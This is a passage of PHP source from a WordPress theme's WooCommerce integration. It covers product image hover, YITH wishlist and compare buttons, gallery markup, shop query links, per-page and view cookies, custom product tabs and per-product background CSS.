			'disable_mobile_autoscroll'     => (int) get_theme_mod( 'penci_woo_mobile_autoscroll', false ),
			'toast_notify'                  => (int) get_theme_mod( 'penci_woo_notify', false ),
			'toast_notify_position'         => get_theme_mod( 'penci_woo_notify_position', 'bottom-right' ),
			'toast_notify_text_align'       => get_theme_mod( 'penci_woo_notify_text_align', 'left' ),
			'toast_notify_transition'       => get_theme_mod( 'penci_woo_notify_transition', 'slide' ),
			'toast_notify_hide_after'       => get_theme_mod( 'penci_woo_notify_hide_after', 5000 ),
			'toast_notify_bg_color'         => get_theme_mod( 'penci_woo_notify_bg_color', '' ),
			'toast_notify_text_color'       => get_theme_mod( 'penci_woo_notify_text_color', '' ),
			'toast_notify_shop_url'         => esc_url( wc_get_cart_url() ),
			'toast_notify_shop_sucess_text' => penci_woo_translate_text( 'penci_woo_trans_succatc' ),
			'toast_notify_shop_text'        => penci_woo_translate_text( 'penci_woo_trans_vcart' ),
			'fullpanelposition'             => get_theme_mod( 'penci_woo_fw_panel_pst', 'side-right' ),
			'search_input_padding'          => get_theme_mod( 'penci_woo_search_input_padding', 'true' ),
			'countdown_days'                => penci_woo_translate_text( 'penci_woo_trans_day' ),
			'countdown_hours'               => penci_woo_translate_text( 'penci_woo_trans_hours' ),
			'countdown_mins'                => penci_woo_translate_text( 'penci_woo_trans_minutes' ),
			'countdown_sec'                 => penci_woo_translate_text( 'penci_woo_trans_second' ),
			'wdgh'                          => (int) get_theme_mod( 'penci_woo_widgets_scroll_height', 275 ),
			'wdgmh'                         => (int) get_theme_mod( 'penci_woo_widgets_scroll_m_height', 275 ),
			'cart_hash_key'                 => apply_filters( 'woocommerce_cart_hash_key', 'wc_cart_hash_' . md5( get_current_blog_id() . '_' . get_site_url( get_current_blog_id(), '/' ) . get_template() ) ),
			'fragment_name'                 => apply_filters( 'woocommerce_cart_fragment_name', 'wc_fragments_' . md5( get_current_blog_id() . '_' . get_site_url( get_current_blog_id(), '/' ) . get_template() ) ),
			'demo_mods'                     => penci_woo_theme_mods_custom_link(),
		) );
	}

	add_action( 'wp_enqueue_scripts', 'penci_woocommerce_style', 99 );
}

if ( ! function_exists( 'penci_woocommerce_get_second_image' ) ) {
	add_action( 'penci_loop_product_image', 'penci_woocommerce_get_second_image' );
	function penci_woocommerce_get_second_image() {
		global $product;

		$image_id       = (int) $product->get_image_id();
		$attachment_ids = $product->get_gallery_image_ids();
		$hover_id       = ! empty( $attachment_ids[0] ) ? (int) $attachment_ids[0] : '';

		$size        = 'woocommerce_thumbnail';
		$custom_size = wc_get_loop_prop( 'img_size' );
		$image_size  = apply_filters( 'single_product_archive_thumbnail_size', $size );
		$image_size  = $custom_size ? $custom_size : $image_size;

		if ( count( $attachment_ids ) > 1 && $hover_id === $image_id ) {
			$hover_id = (int) $attachment_ids[1];
		}

		$image_id = ! empty( $hover_id ) ? $hover_id : $image_id;

		if ( get_theme_mod( 'penci_woocommerce_product_hover_img' ) ) :
			?>
            <div class="hover-img">
                <a href="<?php echo esc_url( get_permalink() ); ?>">
					<?php echo wp_get_attachment_image( $image_id, $image_size ); ?>
                </a>
            </div>
		<?php
		endif;
	}
}

remove_action( 'woocommerce_before_shop_loop_item_title', 'woocommerce_template_loop_product_thumbnail', 10 );
add_action( 'woocommerce_before_shop_loop_item_title', 'penci_woocommerce_product_thumbnail', 10 );
function penci_woocommerce_product_thumbnail() {
	global $product;
	$size        = 'woocommerce_thumbnail';
	$custom_size = wc_get_loop_prop( 'img_size' );
	$image_size  = apply_filters( 'single_product_archive_thumbnail_size', $size );
	$image_size  = $custom_size ? $custom_size : $image_size;

	$thumb = $product ? $product->get_image( $image_size ) : '';

	if ( $thumb ) {
		echo '<a class="penci-main-loop-image" href="' . esc_url( get_permalink() ) . '">' . $thumb . '</a>';
	}
}

/**
 * ------------------------------------------------------------------------------------------------
 * Add extra button to product loop
 * ------------------------------------------------------------------------------------------------
 */

add_action( 'woocommerce_single_product_summary', 'penci_woocommerce_extra_single_product_extra_buttons', 35 );
function penci_woocommerce_extra_single_product_extra_buttons() {
	?>
    <div class="penci-extra-buttons">
		<?php
		do_action( 'penci_single_product_extra_buttons' );
		?>
    </div>
	<?php
}

/**
 * ------------------------------------------------------------------------------------------------
 * Return product attr as array
 * ------------------------------------------------------------------------------------------------
 */

if ( ! function_exists( 'penci_product_attributes_array' ) ) {
	function penci_product_attributes_array( $default = false ) {

		if ( ! function_exists( 'wc_get_attribute_taxonomies' ) ) {
			return;
		}
		$attributes = array();

		if ( $default ) {
			$attributes[''] = esc_attr__( 'Default Theme Setting', 'soledad' );
		}

		foreach ( wc_get_attribute_taxonomies() as $attribute ) {
			$attributes[ 'pa_' . $attribute->attribute_name ] = $attribute->attribute_label;
		}

		return $attributes;
	}
}

/**
 * ------------------------------------------------------------------------------------------------
 * Check product show on front page
 * ------------------------------------------------------------------------------------------------
 */

if ( ! function_exists( 'penci_is_shop_on_front' ) ) {
	function penci_is_shop_on_front() {
		return function_exists( 'wc_get_page_id' ) && 'page' === get_option( 'show_on_front' ) && wc_get_page_id( 'shop' ) == get_option( 'page_on_front' );
	}
}

if ( class_exists( 'YITH_WCWL_Frontend' ) ) {
	add_action( 'penci_single_product_extra_buttons', array( YITH_WCWL_Frontend::get_instance(), 'print_button' ) );
	remove_action( 'init', array( YITH_WCWL_Frontend(), 'add_button' ) );
	add_action( 'penci_loop_product_buttons', array( YITH_WCWL_Frontend(), 'print_button' ), 10 );
}

if ( function_exists( 'YITH_WCQV_Frontend' ) ) {
	remove_action( 'init', array( YITH_WCQV_Frontend(), 'add_button' ) );
	add_action( 'penci_loop_product_buttons', array( YITH_WCQV_Frontend(), 'yith_add_quick_view_button' ), 5 );
}

if ( class_exists( 'YITH_Woocompare_Frontend' ) ) {
	$yith_woocompare_frontend = new YITH_Woocompare_Frontend();
	add_action( 'penci_loop_product_buttons', array( $yith_woocompare_frontend, 'add_compare_link' ), 20 );
	add_action( 'penci_single_product_extra_buttons', array( $yith_woocompare_frontend, 'add_compare_link' ), 20 );
}

/**
 * ------------------------------------------------------------------------------------------------
 * Get gallery image html + link to product
 * ------------------------------------------------------------------------------------------------
 */

if ( ! function_exists( 'penci_get_gallery_image_html' ) ) {
	function penci_get_gallery_image_html( $attachment_id, $main_image = false, $slider = false ) {
		$flexslider        = (bool) apply_filters( 'woocommerce_single_product_flexslider_enabled', get_theme_support( 'wc-product-gallery-slider' ) );
		$gallery_thumbnail = wc_get_image_size( 'gallery_thumbnail' );
		$thumbnail_size    = apply_filters( 'woocommerce_gallery_thumbnail_size', array(
			$gallery_thumbnail['width'],
			$gallery_thumbnail['height'],
		) );
		$image_size        = apply_filters( 'woocommerce_gallery_image_size', $flexslider || $main_image ? 'woocommerce_single' : $thumbnail_size );
		$full_size         = apply_filters( 'woocommerce_gallery_full_size', apply_filters( 'woocommerce_product_thumbnails_large_size', 'full' ) );
		$thumbnail_src     = wp_get_attachment_image_src( $attachment_id, $thumbnail_size );
		$full_src          = wp_get_attachment_image_src( $attachment_id, $full_size );
		$alt_text          = trim( wp_strip_all_tags( get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ) ) );
		$image             = wp_get_attachment_image( $attachment_id, $image_size, false, apply_filters( 'woocommerce_gallery_image_html_attachment_image_params', array(
			'title'                   => _wp_specialchars( get_post_field( 'post_title', $attachment_id ), ENT_QUOTES, 'UTF-8', true ),
			'data-caption'            => _wp_specialchars( get_post_field( 'post_excerpt', $attachment_id ), ENT_QUOTES, 'UTF-8', true ),
			'data-src'                => isset( $full_src[0] ) ? esc_url( $full_src[0] ) : '',
			'data-large_image'        => isset( $full_src[0] ) ? esc_url( $full_src[0] ) : '',
			'data-large_image_width'  => isset( $full_src[1] ) ? esc_attr( $full_src[1] ) : '',
			'data-large_image_height' => isset( $full_src[2] ) ? esc_attr( $full_src[2] ) : '',
			'class'                   => esc_attr( $main_image ? 'wp-post-image' : '' ),
		), $attachment_id, $image_size, $main_image ) );

		$out = '';

		$extra_class = $main_image ? 'pcw-gallery-main pcw-gallery' : 'pcw-gallery';

		if ( $slider && isset( $thumbnail_src[0] ) ) {
			$image_new = '<div class="penci-image-holder" style="background-image:url(' . $thumbnail_src[0] . ')"></div>';
			$out       = '<div data-thumb="' . esc_url( $thumbnail_src[0] ) . '" data-thumb-alt="' . esc_attr( $alt_text ) . '" class="woocommerce-product-gallery__image ' . $extra_class . '">' . $image . '</div>';
		} elseif ( ! $slider && isset( $thumbnail_src[0] ) ) {
			$out = '<div data-thumb="' . esc_url( $thumbnail_src[0] ) . '" data-thumb-alt="' . esc_attr( $alt_text ) . '" class="woocommerce-product-gallery__image ' . $extra_class . '"><a href="' . esc_url( $full_src[0] ) . '">' . $image . '</a></div>';
		}

		return $out;
	}
}

/**
 * ------------------------------------------------------------------------------------------------
 * Add cart icon to header
 * ------------------------------------------------------------------------------------------------
 */

if ( ! function_exists( 'penci_top_cart_icon' ) ) {
	function penci_top_cart_icon() {
		get_template_part( 'template-parts/header/cart-icon' );
	}

	add_action( 'penci_header_extra_icons', 'penci_top_cart_icon', 5 );
}

/**
 * ------------------------------------------------------------------------------------------------
 * Default loop args
 * ------------------------------------------------------------------------------------------------
 */

if ( ! function_exists( 'penci_custom_product_query_default_args' ) ) {
	function penci_custom_product_query_default_args() {
		return array(
			// General.
			'element_title'              => '',
			'title'                      => '',

			// Query.
			'post_type'                  => 'product',
			'include'                    => '',
			'taxonomies'                 => '',
			'offset'                     => '',
			'orderby'                    => '',
			'query_type'                 => 'OR',
			'order'                      => '',
			'meta_key'                   => '', // phpcs:ignore
			'exclude'                    => '',
			'header_tools'               => '0',
			'product_type'               => '',

			// Carousel.
			'speed'                      => '5000',
			'slides_per_view'            => '4',
			'wrap'                       => '',
			'autoplay'                   => 'no',
			'center_mode'                => 'no',
			'hide_pagination_control'    => '',
			'hide_prev_next_buttons'     => '',
			'scroll_per_page'            => 'yes',

			// Layout.
			'layout'                     => 'grid',
			'pagination'                 => '',
			'items_per_page'             => 12,
			'columns'                    => array( 'size' => 4 ),
			'product_horizontal_spacing' => array( 'size' => 30 ),
			'product_rating'             => 1,
			'product_categories'         => 1,

			// Design.
			'product_style'              => get_theme_mod( 'penci_woocommerce_product_style', 'style-1' ),
			'sale_countdown'             => 0,
			'stock_progress_bar'         => 0,
			'img_size'                   => 'woocommerce_thumbnail',
			'icon_style'                 => get_theme_mod( 'penci_woocommerce_product_icon_hover_style', 'round' ),
			'icon_position'              => get_theme_mod( 'penci_woocommerce_product_icon_hover_position', 'top-left' ),
			'icon_animation'             => get_theme_mod( 'penci_woocommerce_product_icon_hover_animation', 'move-right' ),
			'product_round_style'        => penci_shop_product_round_style( get_theme_mod( 'penci_woocommerce_product_icon_hover_style', 'round' ), get_theme_mod( 'penci_woocommerce_product_icon_hover_position', 'top-left' ) ),

			// Extra.
			'loop_name'                  => 'custom',
			'elementor'                  => true,
			'class'                      => '',
		);
	}
}

/**
 * ------------------------------------------------------------------------------------------------
 * WooCommerce pJax Preloader
 * ------------------------------------------------------------------------------------------------
 */
if ( ! function_exists( 'penci_pjax_preloader' ) ) {
	function penci_pjax_preloader() {
		$html = '<div class="penci-products-preloader"><span class="penci-loading-icon"><span class="bubble"></span><span class="bubble"></span><span class="bubble"></span></span></div>';
		$html = apply_filters( 'penci_pjax_preloader', $html );
		echo $html;
	}

	add_action( 'woocommerce_before_shop_loop', 'penci_pjax_preloader', 35 );
}

/**
 * ------------------------------------------------------------------------------------------------
 * WooCommerce single class
 * ------------------------------------------------------------------------------------------------
 */
if ( ! function_exists( 'penci_woo_single_product_class' ) ) {
	function penci_woo_single_product_class( $classes, $product ) {
		global $product;
		if ( is_singular( 'product' ) ) {
			$id = get_the_ID();

			$img_width          = get_theme_mod( 'penci_single_product_img_width', 'standard' );
			$img_width          = penci_get_single_product_meta( $id, 'product_general', 'penci_single_product_img_width', $img_width );
			$thumbnail_position = get_theme_mod( 'penci_single_product_thumbnail_position', 'standard' );
			$thumbnail_position = penci_get_single_product_meta( $id, 'product_general', 'penci_single_product_thumbnail_position', $thumbnail_position );

			$summary_align = get_theme_mod( 'penci_single_product_summary_align', 'standard' );
			$summary_align = penci_get_single_product_meta( $id, 'product_general', 'product_summary_align', $summary_align );


			$top_related_posts = get_theme_mod( 'penci_single_product_top_related_product', true );

			$classes[] = $top_related_posts ? 'top-related-posts-show' : 'top-related-posts-hidden';
			$classes[] = 'pcw-breadcrumb-' . get_theme_mod( 'penci_single_product_breadcrumb_position', 'default' );


			if ( penci_woo_is_activate_sidebar() ) {
				$classes[] = 'penci-sidebar-enable';
			}

			$product_background = get_post_meta( $id, 'penci_pmeta_product_background', true );

			$classes[] = ( isset( $product_background['product_wrap_bgcolor'] ) && $product_background['product_wrap_bgcolor'] ) || ( isset( $product_background['product_wrap_bgimg'] ) && $product_background['product_wrap_bgimg'] ) ? 'has-background' : 'no-background';

			$img_width = 'fullwidth' == $img_width ? 'fullwidth penci-product-img-fullwidth-container' : $img_width;

			$classes[] = 'penci-product-img-' . $img_width;
			$classes[] = 'penci-product-' . $thumbnail_position;
			$classes[] = 'penci-summary-align-' . $summary_align;

			$attachment_ids     = $product->get_gallery_image_ids();
			$thumbnail_position = get_theme_mod( 'penci_single_product_thumbnail_position', 'thumbnail-left' );
			$thumbnail_position = penci_get_single_product_meta( get_the_ID(), 'product_general', 'penci_single_product_thumbnail_position', $thumbnail_position );
			$thumbnail_position = $attachment_ids && $product->get_image_id() ? $thumbnail_position : 'no-thumbnail';

			$classes[] = $thumbnail_position;
		}

		$social_share_style = get_theme_mod( 'penci_woo_social_share_style', 'style-1' );
		$social_share_icon  = get_theme_mod( 'penci_woo_social_icon_style', 'circle' );

		$attachment_ids = $product->get_gallery_image_ids();

		$classes[] = 'penci-share-' . $social_share_style;
		$classes[] = 'penci-share-icon-style-' . $social_share_icon;
		$classes[] = ! empty( $attachment_ids ) ? 'has-product-gallery' : 'no-product-gallery';

		return $classes;
	}

	add_filter( 'woocommerce_post_class', 'penci_woo_single_product_class', 10, 2 );
}

/**
 * ------------------------------------------------------------------------------------------------
 * WooCommerce get shop link with the current query
 * ------------------------------------------------------------------------------------------------
 */
if ( ! function_exists( 'penci_shop_page_link' ) ) {
	function penci_shop_page_link( $keep_query = false, $taxonomy = '' ) {
		// Base Link decided by current page.
		$link = '';

		if ( class_exists( 'Automattic\Jetpack\Constants' ) && Automattic\Jetpack\Constants::is_defined( 'SHOP_IS_ON_FRONT' ) ) {
			$link = home_url();
		} elseif ( is_post_type_archive( 'product' ) || is_page( wc_get_page_id( 'shop' ) ) || is_shop() ) {
			$link = get_permalink( wc_get_page_id( 'shop' ) );
		} elseif ( is_product_category() ) {
			$link = get_term_link( get_query_var( 'product_cat' ), 'product_cat' );
		} elseif ( is_product_tag() ) {
			$link = get_term_link( get_query_var( 'product_tag' ), 'product_tag' );
		} elseif ( get_queried_object() ) {
			$queried_object = get_queried_object();

			if ( property_exists( $queried_object, 'taxonomy' ) ) {
				$link = get_term_link( $queried_object->slug, $queried_object->taxonomy );
			}
		}

		if ( $keep_query ) {

			$link = apply_filters( 'penci_woo_filter_link', $link );

			/**
			 * Search Arg.
			 * To support quote characters, first they are decoded from &quot; entities, then URL encoded.
			 */
			if ( get_search_query() ) {
				$link = add_query_arg( 's', rawurlencode( wp_specialchars_decode( get_search_query() ) ), $link );
			}

			// Post Type Arg.
			if ( isset( $_GET['post_type'] ) ) {
				$link = add_query_arg( 'post_type', wc_clean( wp_unslash( $_GET['post_type'] ) ), $link );

				// Prevent post type and page id when pretty permalinks are disabled.
				if ( is_shop() ) {
					$link = remove_query_arg( 'page_id', $link );
				}
			}

			// Min Rating Arg.
			if ( isset( $_GET['min_rating'] ) ) {
				$link = add_query_arg( 'min_rating', wc_clean( $_GET['min_rating'] ), $link );
			}

			// All current filters.
			if ( $_chosen_attributes = WC_Query::get_layered_nav_chosen_attributes() ) {
				foreach ( $_chosen_attributes as $name => $data ) {
					if ( $name === $taxonomy ) {
						continue;
					}
					$filter_name = sanitize_title( str_replace( 'pa_', '', $name ) );
					if ( ! empty( $data['terms'] ) ) {
						$link = add_query_arg( 'filter_' . $filter_name, implode( ',', $data['terms'] ), $link );
					}
					if ( 'or' === $data['query_type'] ) {
						$link = add_query_arg( 'query_type_' . $filter_name, 'or', $link );
					}
				}
			}
		}

		$link = apply_filters( 'penci_shop_page_link', $link, $keep_query, $taxonomy );

		if ( is_string( $link ) ) {
			return $link;
		} else {
			return '';
		}
	}
}
if ( ! function_exists( 'penci_woo_theme_mods_custom_link' ) ) {
	function penci_woo_theme_mods_custom_link() {
		$user_attr = array();

		return apply_filters( 'penci_woo_allow_get_url', $user_attr );
	}
}

add_filter( 'penci_woo_filter_link', function ( $link ) {

	$allow_get = array(
		'min_price',
		'max_price',
		'orderby',
		'stock_status',
		'per_row',
		'per_page',
		'shop_view',
		'shortcode',
	);

	$allow_get = apply_filters( 'penci_woo_allow_get_default_url', $allow_get );
	$mods_get  = penci_woo_theme_mods_custom_link();

	$allow_get = array_merge( $allow_get, $mods_get );

	foreach ( $allow_get as $var ) {
		if ( isset( $_GET[ $var ] ) ) {
			$link = add_query_arg( $var, wc_clean( $_GET[ $var ] ), $link );
		}
	}

	return $link;
} );

if ( ! function_exists( 'penci_woo_get_products_per_page' ) ) {
	function penci_woo_get_products_per_page() {
		$products_per_page = get_theme_mod( 'penci_woo_post_per_page', 24 );

		if ( isset( $_REQUEST['per_page'] ) && ! empty( $_REQUEST['per_page'] ) ) {
			$products_per_page = $_REQUEST['per_page'];
		} elseif ( isset( $_COOKIE['shop_per_page'] ) ) {
			$products_per_page = $_COOKIE['shop_per_page'];
		}

		return intval( $products_per_page );
	}
}

if ( ! function_exists( 'penci_products_per_page_action' ) ) {
	add_action( 'init', 'penci_products_per_page_action', 100 );
	function penci_products_per_page_action() {
		if ( isset( $_REQUEST['per_page'] ) && 1 != $_REQUEST['per_page'] && ! isset( $_REQUEST['_locale'] ) && ! isset( $_REQUEST['shortcode'] ) && apply_filters( 'penci_per_page_custom_expression', true ) ) {
			setcookie( 'shop_per_page', intval( $_REQUEST['per_page'] ), 0, COOKIEPATH, COOKIE_DOMAIN, false, false );
		}
	}
}

if ( ! function_exists( 'penci_shop_view_action' ) ) {
	add_action( 'init', 'penci_shop_view_action', 100 );
	function penci_shop_view_action() {
		if ( isset( $_REQUEST['shop_view'] ) && ! isset( $_REQUEST['shortcode'] ) ) {
			setcookie( 'shop_view', $_REQUEST['shop_view'], 0, COOKIEPATH, COOKIE_DOMAIN, false, false );
		}
		if ( isset( $_REQUEST['per_row'] ) && ! isset( $_REQUEST['shortcode'] ) ) {
			setcookie( 'shop_per_row', $_REQUEST['per_row'], 0, COOKIEPATH, COOKIE_DOMAIN, false, false );
		}
	}
}

if ( ! function_exists( 'penci_get_products_columns_per_row' ) ) {
	function penci_get_products_columns_per_row() {
		if ( isset( $_REQUEST['per_row'] ) ) {
			return intval( $_REQUEST['per_row'] );
		} elseif ( isset( $_COOKIE['shop_per_row'] ) ) {
			return intval( $_COOKIE['shop_per_row'] );
		} else {
			return intval( get_theme_mod( 'penci_shop_product_columns', 3 ) );
		}
	}
}

if ( ! function_exists( 'penci_get_shop_view' ) ) {
	function penci_get_shop_view() {
		if ( isset( $_REQUEST['shop_view'] ) ) {
			$return = $_REQUEST['shop_view'];
		} elseif ( isset( $_COOKIE['shop_view'] ) ) {
			$return = $_COOKIE['shop_view'];
		} else {
			$shop_view = get_theme_mod( 'penci_shop_product_view', 'list-grid' );
			if ( $shop_view == 'grid_list' ) {
				$return = 'grid';
			} elseif ( $shop_view == 'list_grid' ) {
				$return = 'list';
			} else {
				$return = $shop_view;
			}
		}

		return $return;
	}
}

if ( ! function_exists( 'penci_wc_main_loop_prop' ) ) {
	function penci_wc_main_loop_prop() {

		wc_set_loop_prop( 'per_page', (int) penci_woo_get_products_per_page() );
		wc_set_loop_prop( 'columns', (int) penci_get_products_columns_per_row() );
		wc_set_loop_prop( 'product_loop_style', get_theme_mod( 'penci_woocommerce_product_style', 'style-1' ) );
		wc_set_loop_prop( 'products_view', penci_get_shop_view() );
		wc_set_loop_prop( 'mobile-columns', get_theme_mod( 'penci_shop_product_mobile_columns', 2 ) );
		wc_set_loop_prop( 'cat-loop-style', get_theme_mod( 'penci_woocommerce_product_cat_style', 'style-1' ) );
		wc_set_loop_prop( 'title-length', get_theme_mod( 'penci_woo_limit_product_title' ) );
		wc_set_loop_prop( 'loop_rating', get_theme_mod( 'penci_woocommerce_loop_rating', true ) );
		wc_set_loop_prop( 'loop_categories', get_theme_mod( 'penci_woocommerce_loop_category', true ) );
		wc_set_loop_prop( 'stock_progress_bar', get_theme_mod( 'penci_shop_stock_progress_bar', false ) );

		wc_set_loop_prop( 'product_loop_icon_style', get_theme_mod( 'penci_woocommerce_product_icon_hover_style', 'round' ) );
		wc_set_loop_prop( 'product_loop_icon_position', get_theme_mod( 'penci_woocommerce_product_icon_hover_position', 'top-left' ) );
		wc_set_loop_prop( 'product_loop_icon_animation', get_theme_mod( 'penci_woocommerce_product_icon_hover_animation', 'move-right' ) );
		wc_set_loop_prop( 'product_round_style', penci_shop_product_round_style( get_theme_mod( 'penci_woocommerce_product_icon_hover_style', 'round' ), get_theme_mod( 'penci_woocommerce_product_icon_hover_position', 'top-left' ) ) );


		if ( 'list' === penci_get_shop_view() ) {
			wc_set_loop_prop( 'columns', 1 );
		}
	}

	add_action( 'woocommerce_before_shop_loop', 'penci_wc_main_loop_prop', 10 );
	add_action( 'wp', 'penci_wc_main_loop_prop', 10 );
}

if ( ! function_exists( 'penci_woocommerce_pre_get_posts' ) ) {
	function penci_woocommerce_pre_get_posts( $query ) {

		if ( ! is_admin() && is_post_type_archive( 'product' ) && $query->is_main_query() ) {
			$query->set( 'posts_per_page', (int) penci_woo_get_products_per_page() );
		}
	}

	add_action( 'pre_get_posts', 'penci_woocommerce_pre_get_posts', 20 );
}

if ( ! function_exists( 'penci_woocommerce_get_product_loop_class' ) ) {
	function penci_woocommerce_get_product_loop_class() {
		$classes               = array();
		$product_display_style = wc_get_loop_prop( 'products_view', penci_get_shop_view() );
		$product_style         = wc_get_loop_prop( 'product_loop_style', get_theme_mod( 'penci_woocommerce_product_style', 'style-1' ) );
		$product_style         = $product_style ? $product_style : get_theme_mod( 'penci_woocommerce_product_style', 'style-1' );
		$product_loop_name     = wc_get_loop_prop( 'name' );

		$product_loop_icon_style     = wc_get_loop_prop( 'product_loop_icon_style' );
		$product_loop_icon_style     = $product_loop_icon_style ? $product_loop_icon_style : get_theme_mod( 'penci_woocommerce_product_icon_hover_style', 'round' );
		$product_loop_icon_position  = wc_get_loop_prop( 'product_loop_icon_position' );
		$product_loop_icon_position  = $product_loop_icon_position ? $product_loop_icon_position : get_theme_mod( 'penci_woocommerce_product_icon_hover_position', 'top-left' );
		$product_loop_icon_animation = wc_get_loop_prop( 'product_loop_icon_animation' );
		$product_loop_icon_animation = $product_loop_icon_animation ? $product_loop_icon_animation : get_theme_mod( 'penci_woocommerce_product_icon_hover_animation', 'move-right' );
		$product_loop_icon_alignment = penci_shop_product_round_style( $product_loop_icon_style, $product_loop_icon_position );


		$product_loop_name     = penci_is_mobile() ? 'mobile' : $product_loop_name;
		$default_product_style = get_theme_mod( 'penci_woocommerce_product_style', 'style-1' );
		$product_style         = 'list' == $product_display_style ? 'list' : $product_style;
		$product_style         = in_array( $product_loop_name, array(
			'up-sells',
			'cross-sells',
			'related',
			'wishlist',
		) ) ? $default_product_style : $product_style;

		$product_style = 'custom' == $product_loop_name && 'list' == $product_display_style ? $product_display_style : $product_style;

		$classes[] = 'standard' != $product_style ? 'penci-quickshop-support' : '';
		$classes[] = 'product-' . $product_style;


		$classes[] = 'icon-style-' . $product_loop_icon_style;
		$classes[] = 'icon-position-' . $product_loop_icon_position;
		$classes[] = 'icon-animation-' . $product_loop_icon_animation;
		$classes[] = 'icon-align-' . $product_loop_icon_alignment;


		return implode( ' ', $classes );
	}
}

if ( ! function_exists( 'penci_get_pages_option' ) ) {
	function penci_get_pages_option() {
		$pages    = array();
		$op_pages = get_pages();
		if ( $op_pages ) {
			foreach ( $op_pages as $page ) {
				$pages[ $page->ID ] = $page->post_title;
			}
		}

		return $pages;
	}
}

if ( ! function_exists( 'penci_sticky_cart' ) ) {
	add_action( 'woocommerce_after_single_product', 'penci_sticky_cart' );
	function penci_sticky_cart() {

		$custom_product_settings = get_post_meta( get_the_ID(), 'penci_pmeta_product_general', true );
		$penci_single_sticky_atc = isset( $custom_product_settings['penci_single_sticky_atc'] ) && $custom_product_settings['penci_single_sticky_atc'] ? $custom_product_settings['penci_single_sticky_atc'] : get_theme_mod( 'pencidesign_woo_single_sticky_add_to_cart', 'disable' );

		if ( 'disable' != $penci_single_sticky_atc ) {
			wc_get_template_part( 'single-product/sticky-cart' );
		}
	}
}

if ( ! function_exists( 'penci_single_product_tab' ) ) {
	add_filter( 'woocommerce_product_tabs', 'penci_single_product_tab' );
	function penci_single_product_tab( $tabs ) {
		global $product;
		$tab_content = get_post_meta( get_the_ID(), 'penci_pmeta_product_custom_tab', true );
		$title       = isset( $tab_content['tab_title'] ) ? $tab_content['tab_title'] : '';
		$priority    = isset( $tab_content['tab_priority'] ) && $tab_content['tab_priority'] ? $tab_content['tab_priority'] : 50;
		$content     = isset( $tab_content['tab_content'] ) ? $tab_content['tab_content'] : '';
		if ( $title && $content ) {
			$tabs['penci_user_tab'] = array(
				'title'    => $title,
				'priority' => $priority,
				'callback' => 'penci_single_product_tab_content',
			);
		}

		return $tabs;
	}
}

if ( ! function_exists( 'penci_single_product_tab_content' ) ) {
	function penci_single_product_tab_content() {
		global $product;
		$tab_content    = get_post_meta( get_the_ID(), 'penci_pmeta_product_custom_tab', true );
		$hidden_heading = isset( $tab_content['tab_title_visible'] ) ? $tab_content['tab_title_visible'] : '';
		$title          = isset( $tab_content['tab_title'] ) ? $tab_content['tab_title'] : '';
		$content        = isset( $tab_content['tab_content'] ) ? $tab_content['tab_content'] : '';
		?>
        <div class="penci-custom-user-content post-entry">
			<?php if ( ! $hidden_heading ) : ?>
                <h2><?php echo esc_html( $title ); ?></h2>
			<?php endif; ?>
			<?php echo do_shortcode( wpautop( $content ) ); ?>
        </div>
		<?php
	}
}

/* Theme Mod Custom Tab */
if ( ! function_exists( 'penci_user_custom_product_tab' ) ) {
	if ( get_theme_mod( 'penci_woo_custom_tab', false ) ) {
		add_filter( 'woocommerce_product_tabs', 'penci_user_custom_product_tab' );
	}

	function penci_user_custom_product_tab( $tabs ) {
		$title    = get_theme_mod( 'penci_woo_custom_tab_title' );
		$priority = get_theme_mod( 'penci_woo_custom_tab_priority' );
		$content  = get_theme_mod( 'penci_woo_custom_tab_content' );
		if ( $title && $content ) {
			$tabs['penci_custom_tab'] = array(
				'title'    => $title,
				'priority' => $priority,
				'callback' => 'penci_user_custom_product_tab_content',
			);
		}

		return $tabs;
	}
}

if ( ! function_exists( 'penci_user_custom_product_tab_content' ) ) {
	function penci_user_custom_product_tab_content() {
		$title   = get_theme_mod( 'penci_woo_custom_tab_title' );
		$content = get_theme_mod( 'penci_woo_custom_tab_content' );
		?>
        <div class="penci-custom-user-content post-entry">
            <h2><?php echo esc_html( $title ); ?></h2>
			<?php echo do_shortcode( wpautop( $content ) ); ?>
        </div>
		<?php
	}
}

if ( ! function_exists( 'penci_single_product_custom_background' ) ) {
	add_action( 'soledad_theme/custom_css', 'penci_single_product_custom_background' );
	function penci_single_product_custom_background() {
		if ( is_singular( 'product' ) ) {
			$product_id         = get_the_ID();
			$product_custom_css = get_post_meta( $product_id, 'penci_pmeta_product_custom_css', true );
			if ( isset( $product_custom_css['product_custom_css'] ) && $product_custom_css['product_custom_css'] ) {
				echo $product_custom_css['product_custom_css'];
			}
			$product_background = get_post_meta( $product_id, 'penci_pmeta_product_background', true );
			$css_product_wapper = '';

			if ( isset( $product_background['product_wrap_bgcolor'] ) && $product_background['product_wrap_bgcolor'] ) {
				$css_product_wapper .= 'background-color:' . esc_attr( $product_background['product_wrap_bgcolor'] ) . ' !important;';
			}
			if ( isset( $product_background['product_wrap_bgimg'] ) && $product_background['product_wrap_bgimg'] ) {
				$bgimg              = wp_get_attachment_url( $product_background['product_wrap_bgimg'] );
				$css_product_wapper .= 'background-image: url(' . esc_url( $bgimg ) . ') !important;';
			}
			if ( isset( $product_background['product_wrap_bg_pos'] ) && $product_background['product_wrap_bg_pos'] ) {
				$css_product_wapper .= 'background-position:' . esc_attr( str_replace( '_', ' ', $product_background['product_wrap_bg_pos'] ) ) . ' !important;';
			}
			if ( isset( $product_background['product_wrap_bg_size'] ) && $product_background['product_wrap_bg_size'] ) {
				$css_product_wapper .= 'background-size:' . esc_attr( $product_background['product_wrap_bg_size'] ) . ' !important;';
			}
			if ( isset( $product_background['product_wrap_bg_repeat'] ) && $product_background['product_wrap_bg_repeat'] ) {
				$css_product_wapper .= 'background-repeat:' . esc_attr( $product_background['product_wrap_bg_repeat'] ) . ' !important;';
			}

			if ( $css_product_wapper ) {
				echo '#product-' . $product_id . ' .penci-single-product-top-container{' . $css_product_wapper . '}';
			}
		}
	}
}

if ( ! function_exists( 'penci_get_single_product_meta' ) ) {
	function penci_get_single_product_meta( $id, $group, $key, $default = null ) {
		$return       = $default;
		$product_id   = $id ? $id : get_the_ID();
		$product_meta = get_post_meta( $product_id, 'penci_pmeta_' . $group, true );
		if ( isset( $product_meta[ $key ] ) && $product_meta[ $key ] ) {
			$return = $product_meta[ $key ];
		}

		return $return;
	}
}

/**
 * Unhook the WooCommerce wrappers and add new Woocommerce wrappers
 *
 * @since 2.2
 */
remove_action( 'woocommerce_before_main_content', 'woocommerce_output_content_wrapper', 10 );
